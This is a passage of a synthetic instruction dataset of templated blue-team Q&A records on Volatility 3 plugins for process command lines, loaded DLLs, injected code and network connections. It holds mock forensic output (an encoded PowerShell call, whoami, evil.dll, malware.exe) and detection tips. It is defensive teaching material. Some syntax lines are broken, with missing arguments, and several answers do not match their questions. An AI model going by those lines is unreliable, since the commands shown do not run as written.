{"source_type": "documentation", "source_id": "security-tools-volatility-windowscmdline---command-lines", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026326Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026448Z", "updated_at": "2025-12-18T00:11:32.026448Z"} +{"id": "trtp-5463feafcc07", "instruction": "What indicators does Volatility 3 help identify?", "output": "Using Volatility 3 for threat detection:\n\nwindows.cmdline extracts command line arguments for each process from the PEB (Process Environment Block). Essential for understanding how processes were invoked.\n\nExample:\n```\nvol -f memory.dmp windows.cmdline\n\nPID Process Args\n1234 cmd.exe cmd.exe /c whoami\n5678 powershell.exe powershell.exe -enc SGVsbG8gV29ybGQ=\n```\n\nTips:\n- Look for -enc (encoded PowerShell)\n- Watch for living-off-the-land binaries", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowscmdline---command-lines", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026326Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026484Z", "updated_at": "2025-12-18T00:11:32.026484Z"} +{"id": "trtp-5ae37da10a50", "instruction": "How do I use Volatility 3 for forensic analysis?", "output": "Forensic analysis with Volatility 3:\n\nwindows.cmdline extracts command line arguments for each process from the PEB (Process Environment Block). Essential for understanding how processes were invoked.\n\nForensic applications:\n- See process arguments\n- Identify encoded commands\n- Find malicious invocations\n\nWhat to look for: Args column shows full command line including encoded PowerShell, suspicious flags", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowscmdline---command-lines", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026326Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026498Z", "updated_at": "2025-12-18T00:11:32.026498Z"} +{"id": "trtp-99c5413967cf", "instruction": "What's the process for analyzing data with Volatility 3?", "output": "Workflow for windows.cmdline - Command Lines:\n\n1. Understand the context: windows.cmdline extracts command line arguments for each process from the PEB (Process Environment Block). Essential for understanding how processes were invoked.\n\n2. Apply the tool:\n```\nvol -f memory.dmp windows.cmdline\n\nPID Process Args\n1234 cmd.exe cmd.exe /c whoami\n5678 powershell.exe powershell.exe -enc SGVsbG8gV29ybGQ=\n```\n\n3. Common scenarios: See process arguments, Identify encoded commands, Find malicious invocations\n\n4. Best practices:\n - Look for -enc (encoded PowerShell)\n - Watch for living-off-the-land binaries", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowscmdline---command-lines", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026326Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026516Z", "updated_at": "2025-12-18T00:11:32.026516Z"} +{"id": "trtp-086a0c2b6195", "instruction": "What makes Volatility 3 useful for this task?", "output": "Advantages of Volatility 3:\n\nwindows.cmdline extracts command line arguments for each process from the PEB (Process Environment Block). Essential for understanding how processes were invoked.\n\nBest suited for:\n- See process arguments\n- Identify encoded commands\n- Find malicious invocations\n- Track attacker activity\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowscmdline---command-lines", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026326Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026547Z", "updated_at": "2025-12-18T00:11:32.026547Z"} +{"id": "trtp-cacd7354d691", "instruction": "Can Volatility 3 be combined with other analysis methods?", "output": "Integration points for Volatility 3:\n\nwindows.cmdline extracts command line arguments for each process from the PEB (Process Environment Block). Essential for understanding how processes were invoked.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowscmdline---command-lines", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026326Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026561Z", "updated_at": "2025-12-18T00:11:32.026561Z"} +{"id": "trtp-0d17a3a77501", "instruction": "Describe windows.dlllist - Loaded DLLs.", "output": "windows.dlllist - Loaded DLLs\n\nwindows.dlllist shows DLLs loaded by each process from the PEB InLoadOrderModuleList. Lists DLL path, base address, and size.\n\nPlatform: windows\n\nCommon uses:\n- Find injected DLLs\n- Identify loaded modules\n- Detect DLL hijacking\n- Analyze process dependencies", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdlllist---loaded-dlls", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026830Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026879Z", "updated_at": "2025-12-18T00:11:32.026879Z"} +{"id": "trtp-70692ed1bb43", "instruction": "How do I use Volatility 3?", "output": "Syntax for Volatility 3:\n\nvol -f windows.dlllist --pid \n\nwindows.dlllist shows DLLs loaded by each process from the PEB InLoadOrderModuleList. Lists DLL path, base address, and size.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdlllist---loaded-dlls", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026830Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026892Z", "updated_at": "2025-12-18T00:11:32.026892Z"} +{"id": "trtp-e150650d1f0f", "instruction": "Show me an example of Volatility 3 in action.", "output": "Example of windows.dlllist - Loaded DLLs:\n\n```\nvol -f memory.dmp windows.dlllist --pid 1234\n\nBase Size Name Path\n0x7ff600000 0x1000 ntdll.dll C:\\Windows\\System32\\ntdll.dll\n0x7ff500000 0x800 evil.dll C:\\Users\\Public\\evil.dll\n```\n\nInterpretation: DLLs in unusual paths (user folders, temp) are suspicious", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdlllist---loaded-dlls", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026830Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026908Z", "updated_at": "2025-12-18T00:11:32.026908Z"} +{"id": "trtp-e8c6bf8b5af7", "instruction": "Provide an example of using Volatility 3.", "output": "Here is a practical example of Volatility 3:\n\n```\nvol -f memory.dmp windows.dlllist --pid 1234\n\nBase Size Name Path\n0x7ff600000 0x1000 ntdll.dll C:\\Windows\\System32\\ntdll.dll\n0x7ff500000 0x800 evil.dll C:\\Users\\Public\\evil.dll\n```\n\nwindows.dlllist shows DLLs loaded by each process from the PEB InLoadOrderModuleList. Lists DLL path, base address, and size.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdlllist---loaded-dlls", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026830Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026918Z", "updated_at": "2025-12-18T00:11:32.026918Z"} +{"id": "trtp-3e6d771f8c4b", "instruction": "What are the use cases for Volatility 3?", "output": "Use cases for Volatility 3:\n\n- Find injected DLLs\n- Identify loaded modules\n- Detect DLL hijacking\n- Analyze process dependencies\n\nwindows.dlllist shows DLLs loaded by each process from the PEB InLoadOrderModuleList. Lists DLL path, base address, and size.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdlllist---loaded-dlls", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026830Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026930Z", "updated_at": "2025-12-18T00:11:32.026930Z"} +{"id": "trtp-8f5cfdc20353", "instruction": "What do the results from Volatility 3 mean?", "output": "Interpreting Volatility 3 output:\n\nDLLs in unusual paths (user folders, temp) are suspicious\n\nExample output:\n```\nvol -f memory.dmp windows.dlllist --pid 1234\n\nBase Size Name Path\n0x7ff600000 0x1000 ntdll.dll C:\\Windows\\System32\\ntdll.dll\n0x7ff500000 0x800 evil.dll C:\\Users\\Public\\evil.dll\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdlllist---loaded-dlls", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026830Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026948Z", "updated_at": "2025-12-18T00:11:32.026948Z"} +{"id": "trtp-c51f6183ffa6", "instruction": "What best practices should I follow when using Volatility 3?", "output": "Tips for using Volatility 3:\n\n- Compare against legitimate DLL locations\n- Look for unsigned DLLs\n- Check for DLLs in temp directories\n\nUseful for: Find injected DLLs, Identify loaded modules, Detect DLL hijacking", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdlllist---loaded-dlls", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026830Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026960Z", "updated_at": "2025-12-18T00:11:32.026960Z"} +{"id": "trtp-003af69a6272", "instruction": "What should I look for when using Volatility 3 for incident response?", "output": "Using Volatility 3 for threat detection:\n\nwindows.dlllist shows DLLs loaded by each process from the PEB InLoadOrderModuleList. Lists DLL path, base address, and size.\n\nExample:\n```\nvol -f memory.dmp windows.dlllist --pid 1234\n\nBase Size Name Path\n0x7ff600000 0x1000 ntdll.dll C:\\Windows\\System32\\ntdll.dll\n0x7ff500000 0x800 evil.dll C:\\Users\\Public\\evil.dll\n```\n\nTips:\n- Compare against legitimate DLL locations\n- Look for unsigned DLLs", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdlllist---loaded-dlls", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026830Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026980Z", "updated_at": "2025-12-18T00:11:32.026980Z"} +{"id": "trtp-81e7bb5d07d8", "instruction": "What artifacts does Volatility 3 analyze?", "output": "Forensic analysis with Volatility 3:\n\nwindows.dlllist shows DLLs loaded by each process from the PEB InLoadOrderModuleList. Lists DLL path, base address, and size.\n\nForensic applications:\n- Find injected DLLs\n- Identify loaded modules\n- Detect DLL hijacking\n\nWhat to look for: DLLs in unusual paths (user folders, temp) are suspicious", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdlllist---loaded-dlls", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026830Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026992Z", "updated_at": "2025-12-18T00:11:32.026992Z"} +{"id": "trtp-db283ee0c3e5", "instruction": "How do I incorporate Volatility 3 into my security workflow?", "output": "Workflow for windows.dlllist - Loaded DLLs:\n\n1. Understand the context: windows.dlllist shows DLLs loaded by each process from the PEB InLoadOrderModuleList. Lists DLL path, base address, and size.\n\n2. Apply the tool:\n```\nvol -f memory.dmp windows.dlllist --pid 1234\n\nBase Size Name Path\n0x7ff600000 0x1000 ntdll.dll C:\\Windows\\System32\\ntdll.dll\n0x7ff500000 0x800 evil.dll C:\\Users\\Public\\evil.dll\n```\n\n3. Common scenarios: Find injected DLLs, Identify loaded modules, Detect DLL hijacking\n\n4. Best practices:\n - Compare against legitimate DLL locations\n - Look for unsigned DLLs", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdlllist---loaded-dlls", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026830Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.027015Z", "updated_at": "2025-12-18T00:11:32.027015Z"} +{"id": "trtp-fa4ee8411ea9", "instruction": "When should I use Volatility 3 versus other similar tools?", "output": "Advantages of Volatility 3:\n\nwindows.dlllist shows DLLs loaded by each process from the PEB InLoadOrderModuleList. Lists DLL path, base address, and size.\n\nBest suited for:\n- Find injected DLLs\n- Identify loaded modules\n- Detect DLL hijacking\n- Analyze process dependencies\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdlllist---loaded-dlls", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026830Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.027029Z", "updated_at": "2025-12-18T00:11:32.027029Z"} +{"id": "trtp-c2f6e7621290", "instruction": "How does Volatility 3 integrate with other security tools?", "output": "Integration points for Volatility 3:\n\nwindows.dlllist shows DLLs loaded by each process from the PEB InLoadOrderModuleList. Lists DLL path, base address, and size.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdlllist---loaded-dlls", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026830Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.027059Z", "updated_at": "2025-12-18T00:11:32.027059Z"} +{"id": "trtp-0de9dc17aa82", "instruction": "What do I need to know about Volatility 3?", "output": "windows.malfind - Injected Code Detection\n\nwindows.malfind detects potentially injected code by scanning for memory regions with suspicious characteristics: executable, no associated file, starts with MZ header or shellcode patterns.\n\nPlatform: windows\n\nCommon uses:\n- Detect code injection\n- Find reflective DLL loading\n- Identify shellcode\n- Discover process hollowing", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsmalfind---injected-code-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027384Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.027419Z", "updated_at": "2025-12-18T00:11:32.027419Z"} +{"id": "trtp-1c31d1f3a0d2", "instruction": "What is the syntax for Volatility 3?", "output": "Syntax for Volatility 3:\n\nvol -f windows.malfind --pid \n\nwindows.malfind detects potentially injected code by scanning for memory regions with suspicious characteristics: executable, no associated file, starts with MZ header or shellcode patterns.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsmalfind---injected-code-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027384Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.027432Z", "updated_at": "2025-12-18T00:11:32.027432Z"} +{"id": "trtp-ef2073ce4361", "instruction": "Show me an example of Volatility 3 in action.", "output": "Example of windows.malfind - Injected Code Detection:\n\n```\nvol -f memory.dmp windows.malfind\n\nPID Process Start End Protection\n1234 svchost.exe 0x2340000 0x2350000 PAGE_EXECUTE_READWRITE\n\n0x2340000 4d 5a 90 00 03 00 00 00 MZ......\n```\n\nInterpretation: PAGE_EXECUTE_READWRITE with MZ header or shellcode = injected code", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsmalfind---injected-code-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027384Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.027455Z", "updated_at": "2025-12-18T00:11:32.027455Z"} +{"id": "trtp-97d6ee9dec7f", "instruction": "Show me an example of Volatility 3 in action.", "output": "Here is a practical example of Volatility 3:\n\n```\nvol -f memory.dmp windows.malfind\n\nPID Process Start End Protection\n1234 svchost.exe 0x2340000 0x2350000 PAGE_EXECUTE_READWRITE\n\n0x2340000 4d 5a 90 00 03 00 00 00 MZ......\n```\n\nwindows.malfind detects potentially injected code by scanning for memory regions with suspicious characteristics: executable, no associated file, starts with MZ header or shellcode patterns.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsmalfind---injected-code-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027384Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.027466Z", "updated_at": "2025-12-18T00:11:32.027466Z"} +{"id": "trtp-6274a8b0debd", "instruction": "What are the use cases for Volatility 3?", "output": "Use cases for Volatility 3:\n\n- Detect code injection\n- Find reflective DLL loading\n- Identify shellcode\n- Discover process hollowing\n\nwindows.malfind detects potentially injected code by scanning for memory regions with suspicious characteristics: executable, no associated file, starts with MZ header or shellcode patterns.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsmalfind---injected-code-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027384Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.027490Z", "updated_at": "2025-12-18T00:11:32.027490Z"} +{"id": "trtp-330d4a949306", "instruction": "What do the results from Volatility 3 mean?", "output": "Interpreting Volatility 3 output:\n\nPAGE_EXECUTE_READWRITE with MZ header or shellcode = injected code\n\nExample output:\n```\nvol -f memory.dmp windows.malfind\n\nPID Process Start End Protection\n1234 svchost.exe 0x2340000 0x2350000 PAGE_EXECUTE_READWRITE\n\n0x2340000 4d 5a 90 00 03 00 00 00 MZ......\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsmalfind---injected-code-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027384Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.027502Z", "updated_at": "2025-12-18T00:11:32.027502Z"} +{"id": "trtp-7f03dd4f70d6", "instruction": "What are common tips for Volatility 3?", "output": "Tips for using Volatility 3:\n\n- MZ header in non-file-backed memory = injected PE\n- RWX permissions are suspicious\n- Dump regions with windows.memmap\n\nUseful for: Detect code injection, Find reflective DLL loading, Identify shellcode", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsmalfind---injected-code-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027384Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.027525Z", "updated_at": "2025-12-18T00:11:32.027525Z"} +{"id": "trtp-fbb89c6d2253", "instruction": "How can Volatility 3 help identify malicious activity?", "output": "Using Volatility 3 for threat detection:\n\nwindows.malfind detects potentially injected code by scanning for memory regions with suspicious characteristics: executable, no associated file, starts with MZ header or shellcode patterns.\n\nExample:\n```\nvol -f memory.dmp windows.malfind\n\nPID Process Start End Protection\n1234 svchost.exe 0x2340000 0x2350000 PAGE_EXECUTE_READWRITE\n\n0x2340000 4d 5a 90 00 03 00 00 00 MZ......\n```\n\nTips:\n- MZ header in non-file-backed memory = injected PE\n- RWX permissions are suspicious", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsmalfind---injected-code-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027384Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.027538Z", "updated_at": "2025-12-18T00:11:32.027538Z"} +{"id": "trtp-dd7a381f9970", "instruction": "How do forensic investigators use Volatility 3?", "output": "Forensic analysis with Volatility 3:\n\nwindows.malfind detects potentially injected code by scanning for memory regions with suspicious characteristics: executable, no associated file, starts with MZ header or shellcode patterns.\n\nForensic applications:\n- Detect code injection\n- Find reflective DLL loading\n- Identify shellcode\n\nWhat to look for: PAGE_EXECUTE_READWRITE with MZ header or shellcode = injected code", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsmalfind---injected-code-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027384Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.027555Z", "updated_at": "2025-12-18T00:11:32.027555Z"} +{"id": "trtp-0921002d1eff", "instruction": "What is the typical workflow for using Volatility 3?", "output": "Workflow for windows.malfind - Injected Code Detection:\n\n1. Understand the context: windows.malfind detects potentially injected code by scanning for memory regions with suspicious characteristics: executable, no associated file, starts with MZ header or shellcode patterns.\n\n2. Apply the tool:\n```\nvol -f memory.dmp windows.malfind\n\nPID Process Start End Protection\n1234 svchost.exe 0x2340000 0x2350000 PAGE_EXECUTE_READWRITE\n\n0x2340000 4d 5a 90 00 03 00 00 00 MZ......\n```\n\n3. Common scenarios: Detect code injection, Find reflective DLL loading, Identify shellcode\n\n4. Best practices:\n - MZ header in non-file-backed memory = injected PE\n - RWX permissions are suspicious", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsmalfind---injected-code-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027384Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.027570Z", "updated_at": "2025-12-18T00:11:32.027570Z"} +{"id": "trtp-be0dfe4dbb66", "instruction": "When should I use Volatility 3 versus other similar tools?", "output": "Advantages of Volatility 3:\n\nwindows.malfind detects potentially injected code by scanning for memory regions with suspicious characteristics: executable, no associated file, starts with MZ header or shellcode patterns.\n\nBest suited for:\n- Detect code injection\n- Find reflective DLL loading\n- Identify shellcode\n- Discover process hollowing\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsmalfind---injected-code-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027384Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.027593Z", "updated_at": "2025-12-18T00:11:32.027593Z"} +{"id": "trtp-6e3fd2dd46e0", "instruction": "How do I use Volatility 3 alongside other tools in my toolkit?", "output": "Integration points for Volatility 3:\n\nwindows.malfind detects potentially injected code by scanning for memory regions with suspicious characteristics: executable, no associated file, starts with MZ header or shellcode patterns.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsmalfind---injected-code-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027384Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.027606Z", "updated_at": "2025-12-18T00:11:32.027606Z"} +{"id": "trtp-96b5845a3edc", "instruction": "Describe windows.netscan - Network Connections.", "output": "windows.netscan - Network Connections\n\nwindows.netscan scans for network connection structures in memory including TCP/UDP endpoints, local/remote addresses, ports, and owning process.\n\nPlatform: windows\n\nCommon uses:\n- Find C2 connections\n- Identify lateral movement\n- Discover listening services\n- Map network activity", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsnetscan---network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027994Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028026Z", "updated_at": "2025-12-18T00:11:32.028026Z"} +{"id": "trtp-f8fe53cea25f", "instruction": "Show me the basic syntax for Volatility 3.", "output": "Syntax for Volatility 3:\n\nvol -f windows.netscan\n\nwindows.netscan scans for network connection structures in memory including TCP/UDP endpoints, local/remote addresses, ports, and owning process.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsnetscan---network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027994Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028039Z", "updated_at": "2025-12-18T00:11:32.028039Z"} +{"id": "trtp-9e4e0d34b1de", "instruction": "Give me a practical example of Volatility 3.", "output": "Example of windows.netscan - Network Connections:\n\n```\nvol -f memory.dmp windows.netscan\n\nOffset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner\n0xe1234567890 TCPv4 192.168.1.10 49152 185.199.108.1 443 ESTABLISHED 1234 malware.exe\n```\n\nInterpretation: ESTABLISHED connections show active communication. Check ForeignAddr against threat intel.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsnetscan---network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027994Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028071Z", "updated_at": "2025-12-18T00:11:32.028071Z"} +{"id": "trtp-457de9dc0d8f", "instruction": "Show me an example of Volatility 3 in action.", "output": "Here is a practical example of Volatility 3:\n\n```\nvol -f memory.dmp windows.netscan\n\nOffset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner\n0xe1234567890 TCPv4 192.168.1.10 49152 185.199.108.1 443 ESTABLISHED 1234 malware.exe\n```\n\nwindows.netscan scans for network connection structures in memory including TCP/UDP endpoints, local/remote addresses, ports, and owning process.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsnetscan---network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027994Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028081Z", "updated_at": "2025-12-18T00:11:32.028081Z"} +{"id": "trtp-6d0605429542", "instruction": "When should I use Volatility 3?", "output": "Use cases for Volatility 3:\n\n- Find C2 connections\n- Identify lateral movement\n- Discover listening services\n- Map network activity\n\nwindows.netscan scans for network connection structures in memory including TCP/UDP endpoints, local/remote addresses, ports, and owning process.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsnetscan---network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.027994Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.028098Z", "updated_at": "2025-12-18T00:11:32.028098Z"} +{"id": "trtp-b33c027fe7a7", "instruction": "What do the results from Volatility 3 mean?", "output": "Interpreting Volatility 3 output:\n\nESTABLISHED connections show active communication. Check ForeignAddr against threat intel.\n\nExample output:\n```\nvol -f memory.dmp windows.netscan\n\nOffset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner\n0xe1234567890 TCPv4 192.168.1.10 49152 185.199.108.1 443 ESTABLISHED 1234 malware.exe\n```", "category": "detection", "team": "blue", "phase": "5a", 